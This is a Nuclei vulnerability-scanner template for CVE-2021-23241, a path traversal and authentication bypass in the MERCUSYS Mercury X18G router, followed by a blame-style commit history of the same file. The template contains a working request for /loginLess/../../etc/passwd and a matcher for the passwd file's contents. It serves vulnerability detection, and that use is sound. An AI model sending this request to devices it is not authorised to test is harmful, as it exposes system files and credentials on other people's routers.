nuclei-templates/http/cves/2021/CVE-2021-23241.yaml

id: CVE-2021-23241

info:
  name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
  reference:
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://www.mercusys.com/en/
    - https://www.mercurycom.com.cn/product-521-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-23241
    cwe-id: CWE-22
    epss-score: 0.00365
    epss-percentile: 0.6935
    cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mercusys
    product: mercury_x18g_firmware
  tags: cve,cve2021,iot,lfi,router,mercusys

http:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d9ee5a908a36d8345c74da85767b70866ce60855c9bc3a1df908dcbae8e97a2c0220613b505aa32fff1a451e5d905243cea93da7b862ba6ead8f07c471785db1867b:922c64590222798bb761d5b6d8e72950
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`id: CVE-2021-23241`

			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion`
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`author: daffainfo`
			`severity: medium`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Update CVE-2021-23241.yaml 2021-07-20 08:55:37 +00:00			`- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://www.mercusys.com/en/`
			`- https://www.mercurycom.com.cn/product-521-1.html`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-23241`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 5.3`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-23241`
			`cwe-id: CWE-22`
templateman update 2023-10-14 11:27:55 +00:00			`epss-score: 0.00365`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.6935`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: mercusys`
			`product: mercury_x18g_firmware`
tags enhancements 2023-12-05 09:50:33 +00:00			`tags: cve,cve2021,iot,lfi,router,mercusys`
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/loginLess/../../etc/passwd"`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Update CVE-2021-23241.yaml 2021-07-20 10:30:00 +00:00
Create CVE-2021-23241.yaml 2021-07-20 08:52:10 +00:00			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Fri Dec 29 09:30:43 UTC 2023] :robot: 2023-12-29 09:30:44 +00:00			`# digest: 4a0a00473045022100d9ee5a908a36d8345c74da85767b70866ce60855c9bc3a1df908dcbae8e97a2c0220613b505aa32fff1a451e5d905243cea93da7b862ba6ead8f07c471785db1867b:922c64590222798bb761d5b6d8e72950`